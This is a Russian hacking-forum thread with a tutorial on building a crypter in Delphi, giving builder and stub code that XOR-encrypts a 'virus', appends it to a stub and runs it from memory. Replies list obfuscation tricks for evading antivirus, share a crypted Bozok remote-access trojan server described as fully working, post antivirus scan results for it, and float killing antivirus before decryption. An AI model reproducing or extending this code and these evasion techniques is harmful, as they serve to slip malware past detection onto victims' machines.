ВАЖНО Делаем криптор вместе

Тема в разделе "СТАТЬИ И УРОКИ ПО ВЗЛОМУ И ОБХОДУ ЗАЩИТЫ", создана пользователем X-Shar, 17 июн 2014.

↑ ↓
?

Нужная-ли статья ?

  1. Да

    50 голосов
    98,0%
  2. Нет

    1 голосов
    2,0%
  3. Хернёй не надоело заниматься ?

    0 голосов
    0,0%
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !

    Давно я хотел стырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !

    Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…

    В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер ! WinkSmile

    Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете, что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?

    Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…:)

    К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…

    Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !

    Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…

    В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например ! My mind

    В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и рассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !Отдыхай!!!

    Итак для начала поймём, что-же будет делать наш криптор:

    1)Криптовать любой EXE-файл;

    2)Не использовать доп. софт;

    3)Запуск в памяти.

    4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчасти читайте статью, потом объясню !

    Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):

    1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !Отдыхай!!!

    Stat1.

    2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.

    1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…

    Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
    Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?

    Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?

    Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…

    Читайте новый способ, реализации:

    1)Считываем все данные из стаба в строку (Переменная типа String);

    2)Шифруем эти данные (В данном случае XOR);

    3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
    Del = 'Pizda';), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:

    FailCrypt=Stub + Del + Key + Del + CryptVirus;

    -Где:

    FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !

    Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;

    Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;

    Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !

    Я не знаю понятно-нет ?

    Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы ! Отдыхай!!!

    Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…

    Начну с основной программы:
    Кнопка «СТАРТ»:

    Код:
    procedure TForm1.Button2Click(SenderTObject);
    var
      
    Stubstring;
      
    FileNameVirusstring//Наш закриптованный вирус !!!!!!!!!!!!
      
    Keystring;
      
    CryptFilestring;
    Const
      
    Del 'Pizda'//Это для разделения стаба, ключа и зашифрованного файла в данных
    begin
      Stub
    := extractfilepath(paramstr(0)) + '\stub.exe'//Открываем наш стаб
      
    if not fileexists(stubthen exit;    //Если не хуя не открылось то выходим...
      
    Stub:= mfiletostr(stub);  //Считываем наш стаб
      
    Key:= 'Fucking';  // Это наш ключ, гы-гы ! ;)
      
    FileNameVirus:= edit1.Text;  //Получаем путь до вируса, которого нужно криптонуть
      
    if not fileexists(FileNameVirusthen exit; //Если нет пути, то выходим
      
    FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
      
    FileNameVirus:= xorizo(FileNameVirusKey); //Криптуем эти данные с ключом Key
      
    CryptFile:= Stub Del Key Del FileNameVirus//Получаем Стаб + криптованный мусор
      
    if savedialog1.Execute then
        begin
          mwritefilefromstr
    (CryptFilesavedialog1.FileName '.exe'); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
          
    showmessage('Закриптовалось !!!');
        
    end else
        
    begin
          showmessage
    ('Что-то эа херь не сработала !');
        
    end;
    end;
    В основной программе я использовал самописные вспомогательные процедуры:

    1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
    Код:
    Function mFileToStr(FileNamestring): string;
    var
    sFileHFile;
    uBytesCardinal;
    begin
    sFile
    := _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
    uBytes:= GetFileSize(sFilenil); //Получаем его размер
    SetLength(ResultuBytes); // Устанавливаем размер равный нашему файлу (Result).
    _lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
    _lclose(sFile);
    end;
    2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
    Код:
    Procedure mWriteFileFromStr(dataFileNamestring);
    var
    sFileHFile;
    uBytesCardinal;
    begin
    sFile
    := _lcreat(PChar(FileName), 0); //Открываем файл
    uBytes:= Length(data); //Получаем длинну наших данных
    _lwrite(sFile, @data[1], uBytes); //Записываем данные в файл
    _lclose(sFile);
    end;

    3)Процедура шифрования Xor:
    Код:
    Function XORizo(TextPassstring): string;
    var
      
    ipinteger;
      
    Resstring;
    begin
      p
    := 1;
      for 
    i:= 1 to Length(Text) do
        
    begin
          Res
    := Res Chr((Ord(Text[i]) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
          
    inc(p);
          if 
    Length(Passthen p:= 1;
        
    end;
      
    SetLength(ResultLength(Res));
      
    Result:= Res;
    end;
    2)Ну вот и добрались до стаба:

    Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…

    Разберёмся что делает стаб:

    1)Считывает сам себя и получает данные в строке String:

    FailCrypt=Stub + Del + Key + Del + CryptVirus;

    -Где:

    Stub-Код нашего загрузчика;

    Del – наш разделитель, вспомнили «Пизду» !Отдыхай!!!

    Key – ключ для шифрования;

    CryptVirus – Наш закриптованный вирус.

    Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !

    2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key

    3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора WinkSmile

    Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:

    Всё просто:

    memoryexecute(@FileCrypt[1], '', true);

    ГДЕ:

    @FileCrypt[1] – Указатель на строку данных нашего вируса;

    ‘’ – параметры запуска, я оставил пустые кавычки;

    True – Обычный запуск, если будет FALSE– то будет скрытый запуск…

    Можете поэксперементировать с этой процедуркой ! WinkSmile

    Теперь перейдём к коду нашего стаба:

    1)Основная программа:

    Код:
    //***Основная программа*********************************************************
    var
      
    StubDatastring;//Данные из стаба
      
    FileCryptstring//Наш закриптованный вирус
      
    Keystring//Ключ для расшифровки XOR
      
    TodoArrayTSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
    const
      
    Delimitadorwidestring 'Pizda'//Наш разделитель !
    begin
      StubData
    := mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
      
    TodoArray:= splitmetal(StubDataDelimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
      
    Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
      
    FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
      
    FileCrypt:= xorizo(FileCryptkey);//Расшифровываем
      
    memoryexecute(@FileCrypt[1], ''true); //А вот эта функция запускает наш вирус из памяти ! ;)
    end.
    //******************************************************************************
    Немного правда ?

    Я постарался сократить ! WinkSmile

    Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:

    Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?

    И опять-таки ничего сложного в этой задаче нет, вот процедурка:

    В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !

    Код:
    function SplitMetal(TextoDelimitadorstring): TSarray;
    var
      
    ointeger;
      
    PosDelinteger;
      
    Auxstring;
    begin
      o 
    := 0;
      
    Aux := Texto;
      
    setlength(Resultlength(Aux));
      
    repeat
        PosDel 
    := Pos(DelimitadorAux) - 1;
        if 
    PosDel = -1 then
        begin
          Result
    [o] := Aux;
          break;
        
    end;
        
    Result[o] := copy(Aux1PosDel);
        
    delete(Aux1PosDel length(Delimitador));
        
    inc(o);
      
    until Aux '';
    end;
    ГДЕ: Texto – Это прочитанные данные;

    Delimitador – Это наша «Пизда»

    Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !like it

    В этоге получим такой массив строк:

    FailCrypt=Stub+Key+VirusCrypt

    А потом можем обращаться к данным так:

    FailCrypt[0]-Это наш стаб;

    FailCrypt[1] – Это наш ключ для расшифровки;

    FailCrypt[2] – Это наш закриптованный вирус;

    Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !

    Все исходники во вложении, пароль:111 !

    И ещё про полиморфизм и детект:

    Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !

    Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…

    Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !
     

    Вложения:

    • Мне нравится Мне нравится x 9
  2. Nedovirus Уважаемый пользователь
    Nedovirus
    Ответить в чате

    Форумчанин

    Регистрация:
    14.05.2014
    Сообщения:
    478
    Симпатии:
    821
    Пол:
    Мужской
    Репа:
    +845 / 14 / -5
    Вообще, по сути, криптор в данном случае нужен только для получения знаний/опыта в предметной области. А если брать малвареписательство, то при серьезном подходе такой криптор тоже не нужен - нужен криптор исходных кодов - интерфейс даже можно сохранить, но выбирать нужно сам соурс-файл зловреда - его обфусцировать таким образом, чтобы при компиляции это был новенький fud-файлик :)

    Предлагаю потренироваться в этой области т.к:
    1. Область менее изучена и освещена (делать что-то впервые - всегда приятно)
    2. Не нужны специфичные знания (например хитрости работы в памяти, работы с tls и прочими радостями...)
    3. Простота кодинга и отладки - по сути это работа со строками :)
    4. Это удобно делать на любом языке программирования - операции со строками везде примерно одинаково удобно делать. Просто кто к чему привык :)
     
    • Мне нравится Мне нравится x 5
  3. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Идея интересная, но вот как понять что конкретно нужно обфусцировать и как вопрос ?

    Я уже пробовал, не достаточно просто поменять исходный код, тестил на каспере и докторе вебе, детектит как модификация зловреда !NO-no!!!
     
    • Мне нравится Мне нравится x 3
  4. Nedovirus Уважаемый пользователь
    Nedovirus
    Ответить в чате

    Форумчанин

    Регистрация:
    14.05.2014
    Сообщения:
    478
    Симпатии:
    821
    Пол:
    Мужской
    Репа:
    +845 / 14 / -5
    Смотреть в отладчике\дизассемблере что во что преобразует компилятор. Возможно, что ваши изменения в коде никак (почти никак) не отражаются в скомпилированном коде. Разумеется, что имена переменных и порядок их объявления менять смысла не сильно много.
    А вот создание:
    - вставок ничего не делающего кода
    - заведомо неверных условий (чтобы это было заведомо понятно вам, а не компилятору)
    - полупустых мусорных циклов
    - функции декриптовки\криптовки строк
    - вызовы липовых ничего не меняющих функций
    - сложное и долгое ветвление логики с полубесконечными циклами
    и т.д

    Вполне имеет смысл.
     
    • Мне нравится Мне нравится x 3
  5. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Nedovirus, полностью согласен с тобой, может на досуге попробую такое сделать, чисто ради интереса, т.к. я не вирусописатель, да и не очень-то люблю малварь создавать, не малварьщик я, хотя интересна эта вся технология !WinkSmile

    Теперь про мой криптор, его актуальность ещё зависит и от авера, если большинство аверов проявили себя с хорошей стороны, то вот Оутпост разочаровал...

    Закриптовал Бозок-клиент (Сервер делать было лень, клиент тоже палят почти все), так он запустился, сканер даже и ничего не сказал...

    Да проактивка сработала на запуск и что ?

    А вот сканер молчок, даже на запуск в памяти не среагировал, огромный жирный минус оутпосту !NO-no!!!

    Вот закриптованный клиент бозока !

    Пароль:111
     

    Вложения:

    • Мне нравится Мне нравится x 3
  6. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Что-бы не подумали, что я херню несу, вот закриптовал сервер бозока, запускается из памяти, Оутпосту параллельно вообще, запускается и устанавливается сервер...

    Срабатывает только проактивка, и-то рейтинг приложения, умеренно-подозрительный !

    Можете сами проверить, пароль:111 !

    Закриптованный сервер бозока, полностью рабочий !
     

    Вложения:

    • Server1.rar
      Размер файла
      247,5 КБ
      Просмотров:
      12
    • Мне нравится Мне нравится x 4
  7. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.181
    Симпатии:
    11.095
    Пол:
    Мужской
    Репа:
    +11.243 / 47 / -6
    Jabber:
    Skype:
    Ндааа...пичалька.Самое страшное окошко,что Оутпост выдал ,это был запрос на исходящее соединение.
    Снимок.JPG
    А так пропустил зловреда.Кстати,Защитник Виндовс (с обновлёнными базами) почуял сразу после распаковки.
    Result: ( 19/60 )

    AV-Name Result
    A-Squared(Emisoft AntiMalware) Clean - Nothing Found
    Agnitum Clean - Nothing Found
    AhnLab V3 Internet Security Clean - Nothing Found
    ArcaVir Gen:Trojan.Heur.DP.tGZ@aC3weCic
    Avast Clean - Nothing Found
    Avg Clean - Nothing Found
    Avira TR/Hijacker.Gen Trojan!
    Ad-Aware Clean - Nothing Found
    Baidu AV Clean - Nothing Found
    BitDefender Gen:Trojan.Heur.DP.tGZ@aC3weCic
    BKav Clean - Nothing Found
    BullGuard Internet Security Clean - Nothing Found
    ByteHero Potential Virus
    ClamAv Clean - Nothing Found
    Comodo Clean - Nothing Found
    Total Defense IS Clean - Nothing Found
    Dr. Web Clean - Nothing Found
    eScan Clean - Nothing Found
    eTrust-Vet Clean - Nothing Found
    eScan Internet Security Suite 14 Gen:Trojan.Heur.DP.tGZ@aC3weCic (DB)
    ESET NOD32 Clean - Nothing Found
    Fortinet Clean - Nothing Found
    Fprot W32/Agent.S.gen!Eldorado
    FSB Antivirus Clean - Nothing Found
    F-Secure Rogue:W32/FakeAv.BI
    Gdata Virus: Gen:Trojan.Heur.DP.tGZ@aC3weCic (Engine A)
    Ikarus Trojan-Spy.Win32.Lydra.g
    Immunet Antivirus Gen:Trojan.Heur.DP.tGZ@aC3weCic
    IObit Malware Fighter Clean - Nothing Found
    K7Ultimate Clean - Nothing Found
    Kaspersky Internet Security 2013 HEUR:Worm.Win32.Generic
    KingSoft Clean - Nothing Found
    McAfee Clean - Nothing Found
    Microsoft Security Essentials Backdoor:Win32/Bezigate.B
    nProtect HEUR:Worm.Win32.Generic
    NANO Antivirus Virus: Gen:Trojan.Heur.DP.tGZ@aC3weCic (Engine A)
    Netgate Clean - Nothing Found
    Norton Internet Security Suspicious.Graybird.1
    Norman Clean - Nothing Found
    Outpost Security Suite Pro Clean - Nothing Found
    Ozone AV Clean - Nothing Found
    Panda Antivirus Clean - Nothing Found
    Panda Cloud Clean - Nothing Found
    PC Tools Clean - Nothing Found
    Quick Heal Clean - Nothing Found
    SUPERAntiSpyware Clean - Nothing Found
    Solo Clean - Nothing Found
    TotalDefense Clean - Nothing Found
    Trendmicro Internet Security Clean - Nothing Found
    TrustPort Antivirus 2014 Clean - Nothing Found
    Twister Antivirus 8 Clean - Nothing Found
    Unthreat AntiVirus BE Gen:Trojan.Heur.DP.tGZ@aC3weCic
    Vba 32 Malware-Cryptor.Inject.gen
    Vexira Gen:Trojan.Heur.DP.tGZ@aC3weCic
    Vipre Internet Security 2013 Clean - Nothing Found
    VirIT Clean - Nothing Found
    Webroot Clean - Nothing Found
    Zillya Gen:Trojan.Heur.DP.tGZ@aC3weCic
    Zoner Clean - Nothing Found
    360 Clean - Nothing Found
    Filename: Server1.exe
    File MD5 Hash: a4bad183aa97eb80fa31f8f95eaefef1
    File SHA1: 7e0afaf3f514f21506fdf8484aed5240b6f21091
    File Size: 325649 Bytes
    Time Scanned: 17-06-14, 06:32:15

    Link to result: http://razorscanner.com/result.php?id=451733
     
    • Мне нравится Мне нравится x 4
  8. Nedovirus Уважаемый пользователь
    Nedovirus
    Ответить в чате

    Форумчанин

    Регистрация:
    14.05.2014
    Сообщения:
    478
    Симпатии:
    821
    Пол:
    Мужской
    Репа:
    +845 / 14 / -5
    ну значит сюда автомат детект шлепал, делов то... Кое кто может подтвердить, что видел мой мега нано криптор, который более простыми даже методами "криптовки" сбивал детект и у каспера... )))
     
    • Мне нравится Мне нравится x 3
  9. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.181
    Симпатии:
    11.095
    Пол:
    Мужской
    Репа:
    +11.243 / 47 / -6
    Jabber:
    Skype:
    Наш ответ Чемберлену!Поддержи отечественного производителя!Встречаем чисто русский продукт-Russian Vodka Cryptor (в основе лежит криптор "Ы" из шапки темы)!
    2.
    Канеш по чистоте ему не угнаться за чистоплюями-буржуинами (скан стаба),но всё же.​
    1.
    Пасс:111
     

    Вложения:

    • Мне нравится Мне нравится x 5
  10. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Антиэмулятора там нет + я-бы немного по другому запускал в памяти...

    Вот палево и развёл !Отдыхай!!!

    Будет время попробую переделать...

    Можно ещё подумать как-бы наш дринк-криптор боролся с аверами, может как-нить их прибивать перед раскриптовкой, тогда и антиэмулятор не нужен...Dmeh-Smeh-Smeh!!!
     
    • Мне нравится Мне нравится x 3

Поделиться этой страницей